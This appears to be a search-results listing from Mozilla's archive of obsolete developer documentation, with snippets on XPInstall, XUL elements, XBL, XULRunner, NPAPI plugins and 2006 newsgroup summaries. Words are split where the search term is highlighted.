typically, absolute pathnames are only used for shared components, or components that come
from another vendor, such as /microsoft/shared/msvcrt40.dll.
...for variants or this method without a version argument the value
from initinstall will be used.
Install Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... perform installation check that the files have been added successfully (e.g., by checking the error return codes
from many of the main installation methods, and go ahead with the install if everything is in order: performorcancel(); function performorcancel() { if (0 == getlasterror()) performinstall(); else cancelinstall(); } for complete script examples, see script examples.
getString - Archive of obsolete content
getstring retrieves a value
from a .ini file.
...example to get the name of the wallpaper file
from the desktop section of the win.ini file, use this call: ini = getwinprofile (getfolder("windows"), "win.ini"); var wallpapervalue = ini.getstring ("desktop", "wallpaper"); ...
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... methods getstring retrieves a value
from a .ini file.
XPInstall API reference - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... properties methods adddirectory addfile alert cancelinstall confirm deleteregisteredfile execute gestalt getcomponentfolder getfolder getlasterror getwinprofile getwinregistry initinstall loadresources logcomment patch performinstall re
freshplugins registerchrome reseterror setpackagefolder installtrigger no properties methods compareversion enabled getversion install installchrome startsoftwareupdate installversion properties methods compareto init tostring file no proper...
currentset - Archive of obsolete content
the value of this attribute should be a comma-separated list of item ids
from the toolbarpalette or, additionally, any of the following strings: "separator", "spring", "spacer".
...it might not be equal the value of the currentset property which is computed
from the actual dom ...
dir - Archive of obsolete content
normal for scales, the scale's values are ordered
from left to right (for horizontal scales) or
from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
... reverse for scales, the scale's values are ordered
from right to left (for horizontal scales) or
from bottom to top (for vertical scales).
Building accessible custom components in XUL - Archive of obsolete content
1px solid black; margin: 0; padding: 3px; } grid.spreadsheet description { color: black; background-color: white; margin: 0px; padding: 2px; border-left: thin solid; border-bottom: thin solid; font-family: monospace; font-size: 12pt; text-align: center; font-weight: bold; } </code> you can see the results by installing stage-1.xpi, restarting firefox, and selecting accjax
from the tools menu.
...there is one small implementation issue, which stems
from the way elements are laid out within the grid element.
Moving, Copying and Deleting Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages
from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...this allows an entire directory and its contents to be copied
from one location to another.
findbar - Archive of obsolete content
you should use the browser property to get and set this value
from a script.
... issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata close() return type: no return value closes the notification or findbar and removes it
from its enclosing notificationbox or findbar.
How to implement a custom XUL query processor component - Archive of obsolete content
xul supports templating to create a block of content
from a datasource query.
...
from the beginning of the name var name = avar.tostring().slice(1); return this._data[name]; }, // return an object instead of a string for convenient comparison purposes // or null to say just use string value getbindingobjectfor: function(avar) { return null; }, // called when a rule matches this item.
openPopup - Archive of obsolete content
anchor the popup may be either anchored to another node or opened
freely.
... x, y for an anchored popup, the x and y arguments may be used to offset the popup
from its anchored position by some number, measured in css pixels.
MenuItems - Archive of obsolete content
from within a command listener, you can execute code which will change the state of the toolbar or status bar or whatever it is that need changing.
... if (gundobuffertype == "typing") menuitem.label = "undo typing"; else if (gundobuffertype == "paste") menuitem.label = "undo paste"; else menuitem.label = "undo"; see modifying a menu for examples of how to add and remove items
from a menu ...
Positioning - Archive of obsolete content
equivalent to topleft topleft after_pointer the popup appears vertically offset a few pixels
from the mouse pointer (after_pointer is not currently implemented with respect to the mouse pointer.
... it currently offsets 21 pixels vertically
from the anchor, see bug 619887).
Popup Guide - Archive of obsolete content
when the mouse is moved away
from the control, the tooltip automatically disappears.
... features of items on a menu to learn about the various features of items on a menu, see features of the menuitem element modifying the items on a menu to append, insert and remove elements
from a menu, see modifying a menu.
Notes - Archive of obsolete content
implementing an nsicommandlinehandler on windows may trigger a bug that causes an error message ("windows cannot find the file specified") to be displayed when opening external links (like
from a shortcut or
from an external application).
... deleting the "(default)" values in the following registry keys will fix this: hkey_classes_root\http\shell\open\ddeexec hkey_classes_root\https\shell\open\ddeexec you can also do this
from within your xpcom component using windows registry interface.
Sorting and filtering a custom tree view - Archive of obsolete content
because of bug 340478, this code will only work
from privileged script.
...this is useful if this is an editable table //to prevent the user
from losing the row they edited var topvisiblerow = null; if (table) { topvisiblerow = gettopvisiblerow(); } if (data == null) { //put object loading code here.
Attribute Substitution - Archive of obsolete content
for instance, if the template contained: <description><textnode value="?description"/></description> the resulting generated content might be: <description>view
from the top of the tower looking east of the doges palace</description> note that the textnode has been replaced with the substituted value attribute.
...however, variables determined
from a binding are evaluated using a much simpler process.
Multiple Rule Example - Archive of obsolete content
the resulting data will be: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = palace
from above ?description = view
from the top of the tower looking east of the doges palace, ?date = 2005-04-30t14:55:00+01.00) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?phototitle = palace
from above) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?phototitle = ...
...the rules should be ordered
from most specific to least specific.
Using Multiple Queries to Generate More Results - Archive of obsolete content
if a result
from the second query wasn't also matched by the first query, it will have content created for it.
...son/1"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/person/2"/> </rdf:seq> </r:people> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/1" dc:title="nathan"/> <rdf:description rdf:about="http://www.xulplanet.com/rdf/person/2" dc:title="karen"/> we can then use two queries to generate results
from different parts of the datasource.
XML Templates - Archive of obsolete content
an xml document will be loaded and xpath expressions may be used to take portions of the xml document and generate content
from these.
...here is an example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <listitem uri="?" label="?name"/> </action> </template> </listbox> the expr attribute is a very simple xpath expression which simply retrieves the person elements
from within the datasource.
Adding Buttons - Archive of obsolete content
when the user presses alt (or a similar key that varies on each platform) and the access key, the button will be focused
from anywhere in the window.
... <button id="find-button" label="find"/> note: firefox does not allow you to open chrome windows
from web pages, so the view links in the tutorial will open in normal browser windows.
Advanced Rules - Archive of obsolete content
let's say you have a list of cities described in the following rdf/xml
fragment: <rdf:seq about="http://www.xulplanet.com/rdf/weather/cities"> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/paris"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/manchester"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/melbourne"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/kiev"/> </rdf:seq> <rdf:description about="ht...
...as a triple element, it would be expressed as follows: <triple subject="a bookmark to mozilla.org" predicate="url" object="www.mozilla.org"/> this has been simplified a bit
from the real thing.
Creating a Wizard - Archive of obsolete content
note that wizards currently only work properly
from chrome urls.
...ww.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description> this wizard will help you select the type of dog that is best for you." </description> <label value="why do you want a dog?"/> <menulist> <menupopup> <menuitem label="to scare people away"/> <menuitem label="to get rid of a cat"/> <menuitem label="i need a best
friend"/> </menupopup> </menulist> </wizardpage> <wizardpage description="dog details"> <label value="provide additional details about the dog you would like:"/> <radiogroup> <caption label="size"/> <radio value="small" label="small"/> <radio value="large" label="large"/> </radiogroup> <radiogroup> <caption label="gender"/> <radio value="m...
Custom Tree Views - Archive of obsolete content
naturally, since a custom tree view is being used, the content tree view will not be used, so the treeitem, treerow, and treecell elements will have no purpose since the custom view will get its data
from elsewhere.
... getcolumnproperties: function(colid,col,props){} }; function setview(){ document.getelementbyid('my-tree').view = treeview; } </script> <tree id="my-tree" flex="1"> <treecols> <treecol id="namecol" label="name" flex="1"/> <treecol id="datecol" label="date" flex="1"/> </treecols> <treechildren/> </tree> </window> in the image, you can see two columns, each with data taken
from the getcelltext() function.
Features of a Window - Archive of obsolete content
as in html, you can use the window interface's open() method loads the specified resource into the browsing context (window, <i
frame> or tab) with the specified name.
... see also window interface's open() method loads the specified resource into the browsing context (window, <i
frame> or tab) with the specified name.
Introduction - Archive of obsolete content
some elements that can be created are: input controls such as textboxes and checkboxes toolbars with buttons or other content menus on a menu bar or pop up menus tabbed dialogs trees for hierarchical or tabular information keyboard shortcuts the displayed content can be created
from the contents of a xul file or with data
from a datasource.
...this is done using a feature of xul called an overlay, which allows the ui provided
from one source, in this case, the firefox browser, to be merged together with the ui
from the extension.
Localization - Archive of obsolete content
(en-us.jar is the default for english.) you might have locale files in multiple languages, for example, us english (en-us) and
french (
fr).
... « previousnext » see also how to localize html pages, xul files, and js/jsm files
from bootstrapped add-ons: bootstrapped extensions :: localization (l10n) ...
Manipulating Lists - Archive of obsolete content
example 3 : source view <script> function doselect(){ var val = document.getelementbyid('number').value; val = number(val); if (val != null) document.getelementbyid('level').selectedindex = val - 1; } </script> <hbox align="center"> <label value="enter a number
from 1 to 3:"/> <textbox id="number"/> <button label="select" oncommand="doselect();"/> </hbox> <radiogroup id="level"> <radio label="excellent"/> <radio label="good"/> <radio label="poor"/> </radiogroup> listboxes also support multiple selection and the functions of the nsidomxulmultiselectcontrolelement interface.
...the removeitem
fromselection() function removes a single item
from the selection.
Stack Positioning - Archive of obsolete content
for example, if a stack has two buttons as children, one may be placed 20 pixels
from the left edge and 50 pixels
from the top edge.
... the second button can be placed at 100 pixels
from the left edge and 5 pixels
from the top edge.
The Chrome URL - Archive of obsolete content
some dialog boxes may not work right, however, as they may be expecting arguments to be supplied
from the window that opened them.
...this type of reference will automatically select an appropriate file
from that right directory.
XBL Inheritance - Archive of obsolete content
the child binding will have all the features it defines in addition to the features
from the binding it inherits
from (and any that binding inherits
from and so on up the tree).
...example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends
from the xul textbox element.
XUL Changes for Firefox 1.5 - Archive of obsolete content
the pageshow and pagehide events are used when switching
from a page in the cache, while the load and unload events are used only when the page is loaded or unloaded.
...this is used typically on gnome systems where possible values are: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, re
fresh, go-forward, go-back, properties, select-font, select-color, network.
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox i
frame image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale sc...
...spring tabs and grouping tab tabbox tabpanel tabpanels tabs controls --- text and images label caption image lists --- trees --- layout --- templates --- scripting --- helper elements other xul lists dialog overlay page window wizard wizardpage preference preferences prefpane prefwindow browser tabbrowser editor i
frame titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar menu menuitem menuseparator menupopup panel tooltip popupset toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tabbox tabs tab tabpanels tabpanel groupbox caption separator spacer button chec...
command - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a command element can be used to invoke an operation that can come
from multiple sources.
... for example, a clipboard paste operation can be invoked
from the edit menu, a context menu and by pressing a keyboard shortcut.
conditions - Archive of obsolete content
when evaluating the rule for a particular rdf resource, the variables are replaced with values
from the resource.
... examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
label - Archive of obsolete content
they used to incorrectly inherit
from nsidomxulcontrolelement.
...<label control="email">email address</label> <textbox id="email"/> if the text node contains no tags, it can easily be accessed and manipulated
from javascript using node.textcontent.
listbox - Archive of obsolete content
xobject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitem
fromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> <listbox id="thelist" rows="10" width="400"> <listhead> <listheader label="1ct gem" width="240"/> <list...
... removeitem
fromselection( item ) return type: no return value deselects the specified item without deselecting other items.
notification - Archive of obsolete content
type type: one of the values below indicates the type of notification, determined
from the priority.
...issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata close() return type: no return value closes the notification or findbar and removes it
from its enclosing notificationbox or findbar.
observes - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the observes element can be used to listen to a broadcaster and receive events and attributes
from it.
... inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
page - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] similar to a window, except it should be used for xul files that are to be loaded into an i
frame.
... examples (example needed) attributes inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hi...
progressmeter - Archive of obsolete content
value type: integer an integer ranging
from 0 to the maximum value that indicates the progress.
... inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer ...
richlistbox - Archive of obsolete content
xobject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementisvisible, ensureindexisvisible, getindexoffirstvisiblerow, getindexofitem, getitematindex, getnumberofvisiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitem
fromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> the richlistbox element contains multiple richlistitem elements, which can contain any content.
... removeitem
fromselection( item ) return type: no return value deselects the specified item without deselecting other items.
script - Archive of obsolete content
if you omit this attribute, the default (and older) javascript version is used (like you get when including a javascript file
from web content without specifying a version number).
... inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidt...
splitter - Archive of obsolete content
farthest the element that is the farthest away
from the splitter to the right or below the splitter resizes.
... farthest the element that is the farthest away
from the splitter to the left or above the splitter resizes.
template - Archive of obsolete content
elements are constructed
from a datasource.
... inherited
from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytyp...
Application Update - Archive of obsolete content
getting started you will need the following utility scripts
from http://lxr.mozilla.org/mozilla/sourc...ate-packaging/ (or local source of xulrunner) common.sh make_full_update.sh you will need mar / mar.exe to build a complete update patch.
... you will need to compile a unix/linux executable mar
from mozilla/modules/libmar.
XULRunner - Archive of obsolete content
releases until version 41, xulrunner could be downloaded
from ftp.mozilla.org.
... firefox (
from version 3) ships with a private xulrunner package, which can run any compatible xulrunner application using the -app switch: firefox -app application.ini is equivalent to xulrunner -app application.ini older builds are also available.
xbDesignMode.js - Archive of obsolete content
* * contributor(s): doron rosenberg <doron@netscape.com> (original author) * * * * ***** end license block ***** */ /* xbdesignmode a javascript wrapper for browsers that support designmode */ function xbdesignmode(ai
frame){ this.meditordocument = null; this.mi
frameelement = null; // argument is a string, therefore an id if ( (typeof(ai
frame) == "string") && (document.getelementbyid(ai
frame).tagname.tolowercase()=="i
frame") ){ this.mi
frameelement = document.getelementbyid(ai
frame); } else if( (typeof(ai
frame)=="object") && (ai
frame.tagname.tolowercase() == "i
frame") ){ this.mi
frameelement = a...
...i
frame; } else { throw "argument isn't an id of an i
frame or an i
frame reference"; } if (this.mi
frameelement.contentdocument){ // gecko this.meditordocument = this.mi
frameelement.contentdocument; this.meditordocument.designmode = "on"; } else { // ie this.meditordocument = this.mi
frameelement.contentwindow.document; this.meditordocument.designmode = "on"; // ie needs to reget the document element after designmode was set this.meditordocument = this.mi
frameelement.contentwindow.document; } } xbdesignmode.prototype.execcommand = function (acommandname, aparam){ if (this.meditordocument) this.meditordocument.execcommand(acommandname, false, aparam); else throw "no meditordocument found"; } xbdesignmode.prototype.setcsscreation = func...
Format - Archive of obsolete content
summary: mozilla.dev.planning - july 17-23, 2006 announcements firefox 2/gecko 1.8.1 bug approvals starting on
friday july 21 at 10:00a pdt the release triage team will no longer be accepting bugs unless they meet one of the posted criteria.
... dropping bugs
from blocking1.8.1+ david baron suggested a list of bugs that could be dropped
from the blocking list.
Mozilla.dev.apps.firefox-2006-10-06 - Archive of obsolete content
engineering student project - industry coach paul betts
from ohio state university is looking for someone
from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products.
...reload
from cache discussion regarding the lack of user understanding regarding reloading and reloading
from the cache and how to address it.
2006-11-22 - Archive of obsolete content
to join, send a blank email with subscribe in the subject field to: nvda...@
freelists.org (click here to view the original post and unmask the e-mail address) michael would like to thank stormdragon for setting this up.
... discussions image labelling for blind help machines
frank hecker brought up a valid discussion about the problem of getting images tagged for use by screen.
2006-10-06 - Archive of obsolete content
engineering student project - industry coach paul betts
from ohio state university is looking for someone
from mozilla to be his "industry coach" for engineering 494 - how great ideas turn into great products.
...reload
from cache discussion regarding the lack of user understanding regarding reloading and reloading
from the cache and how to address it.
2006-10-13 - Archive of obsolete content
a way to recover the toolbars
from popup windows that hide it a suggestion for a way to recover toolbars
from a popup window that disables it.
... firefox 2.0 should re-implement modal window.open to support web 2.0 user would like the option to show pop-up windows, using window.open(),
from inside untrusted script, to be re-implemented.
2006-10-26 - Archive of obsolete content
discussions should be easier to import bookmark backups user asking for thoughts about having bookmarks manager's import wizard import
from backups in the bookmarkbackups folder.
... bug in firefox when import passwords
from seamonkey a possible bug find - perhaps a version error instead?
2006-10-27 - Archive of obsolete content
discussions should be easier to import bookmark backups user asking for thoughts about having bookmarks manager's import wizard import
from backups in the bookmarkbackups folder.
... bug in firefox when import passwords
from seamonkey a possible bug find - perhaps a version error instead?
2006-11-03 - Archive of obsolete content
ng cygwin on win32 he gets the following error no such file or directory1: /cygdrive/c/mozilla/mail/config/mozconfig client.mk:339: /cygdrive/c/mozilla/.mozconfig.mk: no such file or directory he claims that the file ".mozconfig" exists in /cygdrive/c/mozilla/mail/config/mozconfig the disable-crypto cause problem originally posted on november 2nd: gxk is building minimo using the code base
from sept.
... more tbox changes on the way, most hitting on
friday on october 30th j.
mozilla-dev-extensions - Archive of obsolete content
weekly summaries 2006-09-29 2006-10-06 2006-10-13 2006-10-20 2006-10-27 2006-11-03 2006-11-10 2006-11-17 2006-11-24 2006-12-01 2006-12-08 weekly faq week 2006-09-29 questions and answers
from the newsgroup week 2006-10-06 questions and answers
from the newsgroup week 2006-10-13 questions and answers
from the newsgroup week 2006-10-20 questions and answers
from the newsgroup week 2006-10-27 questions and answers
from the newsgroup week 2006-11-03 questions and answers
from the newsgroup week 2006-11-10 questions and answers
from the newsgroup week 2006-11-17 questions and answers
from the newsgroup week 2006-11-24 questions and answers
from the newsgroup week 2006-12-01 questions and answers
from the newsgroup week 2006-12-08 questions ...
...and answers
from the newsgroup ...
2006-10-20 - Archive of obsolete content
feedback
from localizers regarding sunbird/lightning 0.3 release the sunbird/lightning developers are requesting feedback on release 0.3.
... uploading language packs to amo benjamin smedberg is ready to upload languange packs
from here to addons.mozilla.org.
2006-11-17 - Archive of obsolete content
seamonkey 1.0.6 in
french seamonkey 1.0.6 in
french (
fr-
fr) is released.
... going to fosdem 2007 fosdem 2007 (
free and open source software developers' european meeting), february 24th - 25th.
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.l10n - november 24, 2006 announcements thunderbird 2 release schedule for localizations beta 1
freeze for thunderbird 2 is scheduled on december 4th (en-us only).
... beta 2
freeze around january 4th.
2006-12-01 - Archive of obsolete content
discussions convert ooo .dic to .xpi convert ooo .dic to .xpi mozillatranslator and sourceforge.net about the best way to organize things creating a <locale>.jar file
from the cvs structure discussion on how to package a <locale>.jar
from the cvs structure without having to download the entire mozilla source.
...
from 50 to 100 locales discussion continues on finding a better tool for localization.
2006-07-17 - Archive of obsolete content
announcements sfirefox 2/gecko 1.8.1 bug approvals starting on
friday july 21 at 10:00a pdt the release triage team will no longer be accepting bugs unless they meet one of the posted criteria.
... dropping bugs
from blocking1.8.1+ david baron suggested a list of bugs that could be dropped
from the blocking list.
2006-10-06 - Archive of obsolete content
adam gutherie replied that cbeard's blog post
from nov 2005 is as close to a roadmap as exists right now and agrees that needs to be done about this.
... reminder - ff2 rc2 code
freeze 9/29/2006 at 9am pdt schrep started a discussion of bugs that need to be fixed for the ff2 rc2 code
freeze to go ahead.
2006-10-13 - Archive of obsolete content
firefox 1.5.0.x and vista firefox 1.5.0.x was added to the vista compatibility list firefox 2 rc3 code
freeze the firefox 2 rc3 code was
frozen on oct.
... sunbird and lighting 0.3 sunbird and lighting 0.3 were released on october 11 discussions release process discussion discussion
from last week regarding speeding up and automation of the release process continued.
2006-10-20 - Archive of obsolete content
discussions sparky and comet going away on
friday preed wants to get rid of sparky and comet (both older desktop class linux boxes).
... decommissioning sparky on
friday preed wants to get rid of sparky (a linux build box) and wants to know if there are reasons wy not to do it.
2006-11-03 - Archive of obsolete content
announcments mozilla scheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) mozilla scheduled downtime - 11/2/2006, 7pm - 11pm pdt (0300 - 0700 utc) opening l10n repository on mozilla_1_8_branch for approved check-ins opening l10n repository on mozilla_1_8_branch for approved check-ins discussion
from 50 to 100 locales a discussion on how to make l10n easier and increase the number of locals with which mozilla products ship.
... more tbox changes on the way, most hitting on
friday preed discusses killing more tboxes.
2006-11-17 - Archive of obsolete content
announcements 1.5.0.9/2.0.0.1 code
freeze -
friday, november 24 code
freeze for 1.5.0.9 and 2.0.0.1 on
friday nov.
... discussion
from 50 to 100 locales continuation of the discussion of how to make l10n easier and increase the number of locals with which mozilla products ship.
2006-10-20 - Archive of obsolete content
started wed, oct 18 2006 9:38 am - a xulrunner developer,
frank, discusses his desire to make xul/browser based applications.
...nickolay ponomarev, benjamin smedberg, axel hecht clarify some misconceptions about
front-end and back-end programming with xulrunner, including the difficulty of writing the backends in c++ (since that would require a recompilation on every platform
frank wanted to support).
2006-10-06 - Archive of obsolete content
discussions none for this week meetings community test day - on
friday october 6th, 2006 in irc chat room #testday there will be a test day focusing on safe browsing between 7am to 5pm pdt.
...reminder
from tracy.
2006-12-01 - Archive of obsolete content
it is basically a java classloader that creates classes
from javascript files.
... peter wilson's reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select *
from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascript hasn't caught on for general server-side scripting.
JS-Engine FAQ - Archive of obsolete content
newly created threads in js
from mozilla_1_8_branch causes to hang in windows patch
from bug 351602 should fix the problem.
... non-js-engine questions can i call functions in mozilla extensions
from web page?
2006-11-03 - Archive of obsolete content
discussions html5 @ w3c discussion of the official announcement
from w3c on the development of html5 and how mathml should be included in it.
... perf question (reflow branch) a look into bug #352367 and the mention of possibly reducing the number of times ns
frame::intrinsicwidthoffsets is called for each cell within a table.
2006-12-08 - Archive of obsolete content
discussions xpcom cpp to js callback engaging discussion on a problem with trying to call back
from c++ to a javascript object using an interface the developer created with an idl.
... saving binary data
from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data
from a url in an extension implemented in javascript meetings none during this week.
2006-10-20 - Archive of obsolete content
discussions october 16, 2006, 5:10pm - david marteau notes that using "persist" on templatized content prevents
from restoring values for the persistent attributes.
... neil notes that the format of localstore has changed
from previous versions and that "persist" is not functioning properly using the new format.
NPAPI plugin developer guide - Archive of obsolete content
to make your plugin scriptable
from web pages, use npruntime.
...ending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to an ftp server sending mail memory allocating and
freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version finding out if a feature exists reloading a plug-in ...
Logging Multi-Process Plugins - Archive of obsolete content
from within a command prompt: c:\> set nspr_log_modules=ipcplugins:5 c:\> set nspr_log_file=c:\plugins.log c:\> cd c:\program files\mozilla firefox c:\> firefox.exe the log file will be saved to c:\plugins.log (or wherever nspr_log_file is set).
...
from within a bash shell: $ export nspr_log_modules=ipcplugins:5 $ export nspr_log_file=~/plugins.log $ /usr/bin/firefox the file will be saved to ~/plugins.log (or wherever nspr_log_file is set).
Monitoring plugins - Archive of obsolete content
runtime data the runtime information reported is always in
fractions of a second.
... var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(this, "experimental-notify-plugin-call", false); this.registered = true; } }, //unregisters
from the observer services unregister: function() { if (this.registered == true) { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.removeobserver(this, "experimental-notify-plugin-call"); this.registered = false; } } } add...
Multi-process plugin architecture - Archive of obsolete content
plugins are a
frequent source of instability or crashes for browser users.
... when plugins run in the same process as the browser, any leaks or crashes in the plugin will affect the entire browser: in order to make the browser user experience better, it is possible to separate plugin execution
from the process in which the browser normally executes.
Browser-side plug-in API - Archive of obsolete content
warning: you must only call these
from the main thread; calling them
from other threads is not supported and may have unpredictable results.
... npn_destroystream npn_forceredraw npn_getauthenticationinfo npn_geturl npn_geturlnotify npn_getvalue npn_getvalueforurl npn_invalidaterect npn_invalidateregion npn_memalloc npn_memflush npn_mem
free npn_newstream npn_pluginthreadasynccall npn_poppopupsenabledstate npn_posturl npn_posturlnotify npn_pushpopupsenabledstate npn_reloadplugins npn_requestread npn_setvalue npn_setvalueforurl npn_status npn_useragent npn_version npn_write ...
NPN_GetValue - Archive of obsolete content
memory for this string must be
freed by the plugin via npn_mem
free().
...you can use npnvnetscapewindow to obtain the appropriate window for the wm_transient_for property of a dialog box created
from the plug-in.
NPN_InvalidateRegion - Archive of obsolete content
« gecko plugin api reference « browser side plug-in api summary invalidates the specified drawing region prior to repainting or re
freshing a windowless plug-in.
... description before a windowless plug-in can repaint or re
fresh part of its drawing area, the plug-in must first invalidate the area with either npn_invalidaterect() or npn_invalidateregion().
NPN NewStream - Archive of obsolete content
target name of the target window or
frame, or one of several special target names.
...the target parameter is the name of the target window or
frame, or one of several special target names.
NPN_ReleaseVariantValue - Archive of obsolete content
any npvariant whose value comes
from a call that passes back an npvariant must be released using this function.
...npn_releasevariantvalue() will call npn_releaseobject() on npvariants of type npvarianttype_object, and npn_mem
free() on npvariants of type npvarianttype_string.
The First Install Problem - Archive of obsolete content
(note that the file name must still begin with "np", just as it must when the file is loaded
